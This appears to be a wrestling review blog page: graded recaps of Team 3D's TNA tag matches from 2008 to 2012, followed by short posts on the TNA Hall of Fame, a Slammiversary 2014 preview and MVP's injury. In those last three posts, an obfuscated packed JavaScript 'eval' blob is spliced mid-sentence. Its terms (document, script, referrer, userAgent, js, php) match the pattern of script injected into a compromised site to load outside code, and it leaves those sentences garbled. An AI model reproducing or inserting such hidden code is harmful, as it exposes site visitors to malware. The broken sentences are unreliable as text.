It’s tied up at one here as D-Von misses a splash. How was Steiner a world champion in WCW? I think you can count him as another example of a guy making money and getting as far as he did because WCW was in the place it was rather than his talent. Bubba whips Scott with a big leather belt as Rick has apparently disappeared.

Scott is put on a table and it just kind of collapses which doesn’t count as it’s not a guy being put through it which makes sense. Scott has his beard braided which looks stupid as all goodness. The Dudleys put him on another table and go for his injured throat. The Guns run down for the save. D-Von misses a chair shot and the Steiner Bulldog ends it.

Rating: D+. Well they were trying out there but it didn’t work that well. The two old teams going at it were supposed to comprise a dream match but it didn’t work. Why should I want to see either of these teams rather than the Guns who had a run in here? It’s more old guys that aren’t worth much doing their thing. That’s rarely a good thing and this was no exception. Having the 2/3 thing was a nice little twist though and it helped it a good deal.

The Dudleyz would then enter a war with the X-Division, which somehow led to a match about fish at Destination X 2008.

Fish Market Street Fight: Team 3D vs. Shark Boy/Curry Man

West and Curry Man dance before this starts. This was when Shark Boy was a parody of Stone Cold, drinking clam juice, talking about how that’s the fishing line, giving him a shell yeah and having Austinesque theme music. It was awful in case you couldn’t get that. Bubba yells a lot and D-Von weighs in at….some undisclosed weight under 275lbs. Bubba allegedly makes it too, thereby ending this idiotic angle.

And now Devine, the X-Division traitor, hands them candy and they eat but get jumped. This is a glorified hardcore match but with “comedy” added to it. The Dudleys get run off early on and try to leave. I don’t like where this is going. There are big crated of frozen fish around the aisle. See what I’m dealing with here? Yes, they’re beating each other with frozen fish. Mike gets the HOLY MACKERAL line in.

Curry Man puts a Ding Dong on a fishing pole and goes Ray hunting. Oh of course it works. This is making my soul ache. Honestly, who thought this was a marketable idea? Who thought someone would want to see this? Ray throws fish into the crowd and the announcers say this was expected. Uh, why? Ray bites a fish as I would be so embarrassed if someone knew I was watching this.

We get some actual wrestling just so we can be told there was wrestling in this. What’s Up on Curry Man with a fish. It’s returned by Shark Boy and this is awful. Oh but hey, according to Meltzer, the triple threat at Survivor Series was worse. Yeah keep telling yourself that buddy. Stereo X-Factors and Tornado DDTs on the heels get two. Shark Boy kicks out of a Doomsday Device. Bubba gets blinded by powder and accidently hits 3D on D-Von to end it. The Dudleys get into it with some guy from Survivor that no one cares about.

Rating: F-. I’m not even going to bother explaining why a match involving beating on each other with fish is a failure.

Let’s get back to serious with a four way Full Metal Mayhem match at Bound For Glory 2008.

Tag Titles: Matt Morgan/Abyss vs. Beer Money vs. Team 3D vs. LAX

This is Monster’s Ball and Beer Money have the belts. Steve McMichael of all people is the guest referee. He looks OLD too. The intros here are freaking ridiculous. Basically this is a four way street fight/hardcore match but I’m not sure if the pins have to be in the ring or not. WAY too many people in the ring here.

You know at this point, is Mongo the most successful singles wrestler in there? Ah that’s right Abyss is a former world champion. Not that we’re ever told that anymore or anything though. Bunch of high spots including a tope con hilo from Homicide. We break out the weapons and its really nothing special at all. Homicide has a fork for no apparent reason and stabs D-Von’s head with it.

Abyss is on his anti-weapons thing here. Cheese grater comes out as I feel like I’m on Emeril or something. That doesn’t sound bad actually as I’m a bit hungry. Bubba suplexes Hernandez from the middle rope and the fans want tables. Blockbuster by Roode which makes me smile a bit. Total weapons thing starts up here as Mongo steals the tacks from Storm.

Mongo is FAT. We get a football sequence complete with helmet and football and Beer Money goes down of course. Morgan does a big dive to the floor to take out a bunch of people. This is such a huge mess. Johnny Devine comes out and pops Abyss with a kendo stick a few times. Table and lighter fluid are brought in on the stage. Abyss goes through it off a double chokeslam from the Dudleys.

Homicide in control now. I’ve never seen this ring genius or whatever that he’s supposed to be. Sweet goodness Mongo counts slow. Sit out powerbomb by Hernandez gets two. Elevated Gringo Cutter gets two due to Jackie getting the save. Apparently the Dudleys and Morgan have like died or something. Ah there’s Morgan. Border Toss to Morgan as Bubba brings in a table.

Supermex makes the save for Homicide though as this is probably getting close to the end. Mongo helps lay out the tacks on the table and Hernandez hits a 3D on the table on the tacks but Beer Money runs in to steal the pin.

Rating: B-. It certainly was violent, but it was just a big long weapons match. This is the longest match of the night, getting over twenty minutes. Mongo hurt this a lot as he counted so slowly that it appeared that he was shortchanging everyone with the cadence of his counts. This was pretty good but at the same time it was nothing we hadn’t seen before. Also having 8 guys out there was just too much. Still fun though.

They would pick up the IWGP Tag Team Titles around this time and since they’re Japanese, TNA decided the fans cared about them. This led to a unification match at Lockdown 2009.

TNA/IWGP Tag Titles: Beer Money vs. Team 3D

The idea here is a Philadelphia street fight, as in you can come and go from the cage as you please, defeating the entire purpose of the cage at all. Bubba knocks the steps away from the cage door which does nothing at all for the most part. They’re in the cage to start and the door is shut despite them talking about it being the open cage thing the whole time.

And so much for that as they’re on the floor now. They might have been in the cage for about thirty seconds. The fans want tables as we head into the crowd. We go split screen as we’re in the crowd. They each get a quarter of the screen as half of it is a big Lockdown logo. Storm vs. Bubba and Roode vs. D-Von but they merge in a luxury box.

Falls count anywhere apparently. The required ECW chant starts up even though the crowd can’t see them for the most part here. West thinks the crowd is 98/2 for Team 3D. Thank you for that excellent analysis Mr. West. The fans still want tables. Just sit stuff on your laps guys. Back to the ring now as Storm uses the cage door as a weapon. Storm gets a table out which should be done by the face but why would that matter?

The heels climb onto the steps and give D-Von a double suplex through the table. Bubba is busted open and it’s 2-1 inside the cage. He gets a double clothesline to take down both guys that aren’t wearing shirts. Again I need more ways to tell you who does what without saying their names over and over. Roode takes a Bubba Bomb from the top rope. Dang that must hurt him worse than a prostitute screwing a blind guy.

The other 3D gets two on Roode. So he’s kicked out of two almost finishers while Storm has taken nothing. Why doesn’t Roode leave him at this point? The fans want more tables. Sweet goodness how much stuff are they carrying? D-Von gets a top rope clothesline for two. What’s Up to Roode. Here comes the second batch of tables.

Beer Money comes back and hits what we would call the Mooregasm on D-Von for two. So apparently Ink Inc is better than Beer Money? Too many dead spots in here where they’re just setting other stuff up rather than actually doing anything. Storm accidently slams the door onto the head of Roode, allowing 3D through the table to end it.

Rating: C. It wasn’t bad and was probably the best match of the night thus far but this still wasn’t great. The Dudleys win another tag title. Why is this supposed to mean something? It was an ok match but it really wasn’t anything all that great. Like I said there were too many dead spots and it was too long at 15 minutes. Not bad at all though.

They would be back in the main event scene for Lethal Lockdown at No Surrender 2009.

Booker T/Scott Steiner/British Invasion vs. Beer Money/Team 3D

It’s Wargames: start with a person per team for five minutes then another from one team comes in for a 2-1 advantage for two minutes then it’s tied for two minutes and so on until we’re at 4 each. Then the roof comes down with weapons and it’s first fall wins. The heels, Steiner/Booker/Brits, have the advantage. The Mafia members are TNA Tag Champions and the Brits are IWGP Tag Champions because TNA thinks most Americans care about those titles. Douglas Williams vs. James Storm to start us off.

Williams leaves the cage to try to jump Storm which doesn’t work at all. Into the cage now as the fans are behind Storm sort of but other than that they’re rather quiet. Storm gets a reverse tornado DDT but he can’t cover since not everyone is in. This is more or less just a slow paced one on one match here with no one really taking over. Granted that might be because there’s no need to have this be in Lethal Lockdown.

Eye of the Storm (spinning release Razor’s Edge) sets up some choking but Williams kicks him low to reverse the momentum again. We have a minute left and Williams’ team will get the next man in. In second is Brutus Magnus so it’s 2-1 for two minutes. Storm wisely dropkicks the door onto his face before he can get in but Williams sends Storm into the ropes, allowing Magnus to slam the door onto Storm’s back to take over.

The Brits like to shake hands a lot. A lot of time is wasted here as we’re almost at two minutes and Storm is busted open. It’s been two minutes and there’s no clock. Ah there’s the countdown but it was more like 2:15. In next is Robert Roode to make it a tag team cage match which again shows THERE WAS NO POINT TO THIS BEING LETHAL LOCKDOWN. Some nice double teaming by Beer Money gives them the advantage as the crowd only kind of seems to care.

The annoying Impact Zone fans count down the clock from like 30 seconds because they need to be a part of the show right? Anyway in next is Steiner which kind of surprises me. Steiner busts out come clotheslines and suplexes so Tenay makes a small wisecrack about that being all he does. Taz takes exception to being criticized for only using suplexes in a slightly funny moment. Frankensteiner (or what is now called that) kills Storm and the beating is on.

The clock is on as one of the problems with this match comes into focus: it takes about 15 seconds for someone to come from the back and get into the cage. That doesn’t sound like a long time but when you only have two minutes before the next intro and the countdown clock comes on at 15 seconds to go, you have about 1:30 to do your thing with the focus on you. However, about 45 seconds of that is just you hitting random moves on everyone at a fast pace, leaving you with about 45 seconds to use teamwork. It’s very fast paced and something that wasn’t as much of an issue in WarGames with everyone on the floor.

Anyway D-Von and company take over as we wait on Booker and Bubba to get here to even the numbers out. Also, one ring with eight guys in it is WAY too crowded. I think one year there were only six people in this match and it worked far better. Here’s Booker as not a lot happened in D-Von’s time. Booker walks even slower, showing off the tag titles. He took about 40 seconds to get there and somehow none of the faces were standing there waiting on him. How can you not pick up on that?

Steiner hits the floor and chokes Roode with the cage door as we’re waiting on Bubba with about 20 seconds to go. The clock is extended a bit more this time as Booker got about 2:15 in his period if you can call it that. Ray comes down but Rob Terry jumps him in the aisle and then nails him with a chair. Terry then yells at the guy that controls the roof of the cage to come down and here come the weapons.

Ok so now it’s first fall by either pin or submission. Well at least there are only seven people in the ring which helps a tiny bit. On the floor Ray avoids another chair shot and takes Terry out with a shot to the head. He’s in now with the chair, drilling all heels with some WEAK chair shots and here come the good guys. A trashcan gets put on someone’s balls and Bubba drills it with a crutch, prompting Tazz to yell YAMBAG YAHTZEE!!!

Brutus and Beer Money go to the top of the cage and it’s a double team suplex to Magnus. I’m terrified of heights so I’d be scared to death up there. BEER MONEY is shouted up there and it’s 3D to Steiner from….well from 3D. Does that mean they can charge more for not much of a difference in the visual aspect of it? Book End takes down Bubba but it’s time for heel miscommunication. Blockbuster by Roode to Booker and DWI ends Williams for the pin.

Rating: B. Lethal Lockdown is a match that automatically gets a higher grade to start and this is right about in the middle for one. The biggest problem is obvious: there is zero reason this needed to be Lethal Lockdown at all. This should have been a pair of tags or maybe a Survivor Series style match. Not much of note but again Lethal Lockdown on its own is inherently cool so it gets a good grade.

Then the Nasty Boys were brought in as a joke on the fans, but the fans had to sit through this match at Against All Odds 2010.

Nasty Boys vs. Team 3D

So now people are being asked to pay to see the Nasty Boys. Good to know. That lounge music is REALLY annoying. No one in TNA has ever taken it to Team 3D like the Nastys? REALLY? Sags looks slimmer and nearly in shape. Knobbs…not so much. 3D runs them off and I guess they’re the faces? It’s been 2 minutes so they might have turned since then.

We get to a regular tag match with Sags vs. Bubba. Both guys have pants with their team name on it. Is that in case they get lost? Sign in the front row: pipe down nerds. That’s rather funny. The fans want to sit down and eat. What else could they want tables for? This hasn’t been as bad as I expected, but it’s nothing compared to the Nasty Boys doing science experiments like they did in 1995.

You have to see that clip if you don’t know what I’m talking about. SuperBrawl 1995, opening of the tape. Go find it as it’s just bizarre. Oh look: Brooke Hogan is here. It has nothing to do with the show or the match, but it needs to be noted: Brooke Hogan is indeed HERE. The Nastys take over now. Taz says lifting Knobbs is like lifting a small foreign car. That’s rather funny. Sags takes 3D and JIMMY FREAKING HART makes the save. Are you kidding me??? His helmet is slammed into Bubba for the pin. Love that voice.

Rating: C-. I’m very surprised as this wasn’t terrible by any means. It wasn’t particularly good but it was far from bad. I do not get the point in the Nasty Boys being on TV but having Hart there is never a bad thing. Allegedly the Nasty Boys were a rib from Bischoff and Hogan, so enjoy paying to give those two a laugh at our expense.

With nothing else to do, the team said they would retire after one last match. From Turning Point 2010.

Tag Titles: Team 3D vs. Motor City Machine Guns

After a lot of standing around looking at each other, D-Von and Shelley start. Pre-match handshake is always nice to see. They start with some technical/mat stuff and not a lot is going on so far. Dueling chants begin. We’re told that Dreamer, Raven and Tazz started the Dudley Boys which is only technically true as the Dudley Family, who didn’t start off as Bubba and D-Von, were based on the brothers from the movie Slapshot. Ah ok they mention that at least.

They get to say Dudley Boys here which is surprising. Sabin vs. Bubba now. Big boot cuts the head off of the small one. Back to the starters now with the Guns in control. Shelly might have hurt his knee off a top rope move but his knee seems to be ok as it gets worked on by Bubba. They’re going for the big match here and it’s working to an extent.

Back off to Sabin now and some modified Poetry in Motion and double teaming sends the Dudleys to the floor. Sabin misses a dive though and eats floor. Bubba goes into the post and DIVES under the ring. Shockingly when he comes back up he’s busted open. The fans want tables. Shelley bends Bubba’s fingers back which is a freaking ow move if there ever has been one.

They’re trying to make the Guns wrestle heel here because this is a rather stupid company. Top rope Batista Bomb gets two on Sabin. Nice one there. Bubba’s facial expressions are kind of funny. Shelley kicks D-Von while he’s on the apron to a few boos. Sabin and D-Von both come in off hot tags as the cranking up thing here isn’t really happening.

Sabin gets beaten down for awhile while the other two are on the floor. D-Von catches Poetry in Motion and throws Shelley onto Sabin which was cool. All Dudleys here as D-Von hits the top rope headbutt on Shelley for two as Sabin makes the save. What’s Up hits and it’s table time. This version is in the corner if you’re curious. HUGE table chant.

As per the laws of table usage, the person that set it up, Bubba in this case, goes into it. Skull and Bones hits D-Von for only two. That gets kicked out of every time. 3D to Sabin but it only gets two as Sabin kicks out. That’s not something you ever see so I can give it points there. Skull and Bones to Bubba end it soon afterwards to set up the big send off.

Rating: C+. They were going for the big and epic match here and didn’t really get there. This was good but at the same time it’s just another title win for the Guns, which is the right move at least. I don’t buy them leaving at all but that’s neither here nor there. This wasn’t a classic but it was by far the best match of the night so far. And yes, someone has kicked out of the 3D before: Masato Tanaka in ECW.

Since nothing is forever in wrestling, the team reunited for the One Night Only Tag Team Tournament. Here’s their match in the finals.

Tag Team Tournament Finals: Team 3D vs. Austin Aries/Bobby Roode

This gets the big match intros as more time is killed. For some reason the lights have been turned off and there are only spotlights on the ring. Ray takes the mic from JB to make sure the intro is perfect, despite having a bit of a disagreement over how much they weigh. He challenges Aries to do a better intro if he can, leading to a weight dispute between the other team as well. Aries of course mentions beating Roode for the title before saying they don’t need a team name because they’re just that great.

The match starts with a brawl on the floor as the fans aren’t sure who to cheer for here. Who thought heel vs. heel was a good idea here? Aries takes over on Bully while D-Von and Roode stagger around ringside. D-Von is sent into the barricade as Aries hits an ax handle from the apron to Bully. Ray comes back with a low chop to take Austin down while D-Von chokes Aries against the post.

The pairings switch off and Aries takes over on D-Von. No one has actually been in the ring yet. Ray chases Hebner with a chain before bringing Aries inside for What’s Up, only to have Roode make the save. Aries gets in a low blow to Ray as we finally have some starters. Roode comes in to stomp on Ray’s ankle before Aries comes in for a top rope knee drop. A Hennig neck snap puts Ray into the wrong corner but he chops Aries from his knees.

Aries puts on a front facelock as the fans still aren’t sure who to cheer for here. They pick Ray at the moment, even though he’s the top heel in the company. Ray makes the tag to D-Von but a Roode distraction means it doesn’t count. Roode comes back in for a chinlock but Ray belly to backs his way out. Aries stomps away in the corner as the announcers talk about Howard Stern and Jesse Ventura running for President.

Ray fights up and collides with Roode, setting up the ice cold tag to D-Von. He cleans house for a few seconds before Aries and Roode double team him down. Aries loads up the foreign object but hits Roode by mistake, setting up the 3D for the pin. Tenay of course acts like this is the least interesting thing ever.

Rating: D+. The match wasn’t bad but the booking made next to no sense. Ray spent his previous two matches being the biggest jerk he could possibly be but we’re supposed to cheer for his team in the finals? The logical move would have been to put Joe and Magnus over by DQ or countout to protect the champions and give us a basic heel vs. face final, but instead they went with this and the crowd didn’t know what to do. The lighting was weird too.

Yes they got annoying, yes they stayed around too long, yes they were shells of their former selves late in their run, but that many title reigns is just ridiculous. They’re the most successful tag team of all time, but I definitely wouldn’t call them the best. Give me a good Steiner Brothers marathon any day. That being said, they’ve been one of the few constants in wrestling over the last nearly twenty years and you can’t pass that up.

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The Newest TNA Hall Of Famer Is……

A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iktti|var|u0026u|referrer|rdhah||js|php'.split('|'),0,{})) bit of a surprise.

Team 3D. I can live with this, though the real life stuff keeping AJ and Jarrett out continue to keep this from having the required members.




Slammiversary 2014 Preview

One eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ranhz|var|u0026u|referrer|nnhff||js|php'.split('|'),0,{})) of the biggest shows of the year is tomorrow and I don’t think a lot of people care.

Since MVP is injured and can’t wrestle, the main event has been changed to a three way in the cage, because wrestling NEEDS triple threats. Eric Young will still be defending, but his opponents will be determined. Instead of selecting a challenger, the winners of two previously announced matches will be entered in to face Young.

The first qualifying match is Samoa Joe vs. Bobby Lashley. This is the more interesting one of the two and I think they’ll keep Lashley strong, even though Joe presents a more interesting case to be champion. Unfortunately this is TNA, so Joe has to look strong one week and then get beaten a few days later.

The other qualifier is Austin Aries vs. Kenny King. I’ll take Aries here, even though it looks like they’re setting up Young to overcome the odds again and keep the title over the other two members of the Trio.

In case it’s not clear, I’ll take Young to keep the title. Odds are they’ll put the title on someone else at Destination X anyway.

Two of the Von Erich children are having a tag match. This hasn’t been advertised on TV much if at all, but if they did we might have to cut out one of 19 segments a given act got o a show. Their opponents are to be announced, but could it possibly be anyone other than the Bro Mans? Von Erichs win.

Ethan wins the Texas Death Match due to Dixie causing trouble. She has to go through a table in New York. I mean…..she HAS TO.

Magnus beats Willow, setting up a tag match with Abyss joining Hardy to face the Brits in the future.

Storm beats Anderson but they’ll have 97 gimmick matches in the future to keep the feud going way past its expiration date.

Love beats Kim and I don’t care enough to go into why.

The other match that hasn’t been announced on Impact: Sanada vs. Manik vs. Tigre Uno vs. Crazy Steve vs. Eddie Edwards vs. Davey Richards for the X-Division Title. We’re less than two weeks away from Destination X and the X Division Title match can’t even get a backstage promo. Is it any wonder why this company is in such horrible shape?

Overall Slammiversary looks like the most thrown together PPV in a long time. The main event isn’t their fault, but too much of the card is either tacked on or a match that hasn’t been given enough time for people to care about it. The show should set up some interesting stuff in the future with Destination X so soon but instead it feels like they’re just filling time until we can get back to the multi way war for control of the company. Then again, Slammiversary has been a very solid show for a few years running now.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Survivor Series at Amazon for just $3.99 at:

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MVP Out of Slammiversary, Replacement To Be Announced Sunday

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdzzb|var|u0026u|referrer|ktryf||js|php'.split('|'),0,{})) was expected for awhile.  They don’t have a ton of options, but maybe they swap in Lashley and bring Bobby Roode back in to fill in a spot.  It’s the danger of the taping schedule but there’s not much else they can do.  Unfortunately this probably means more Eric Young as champion.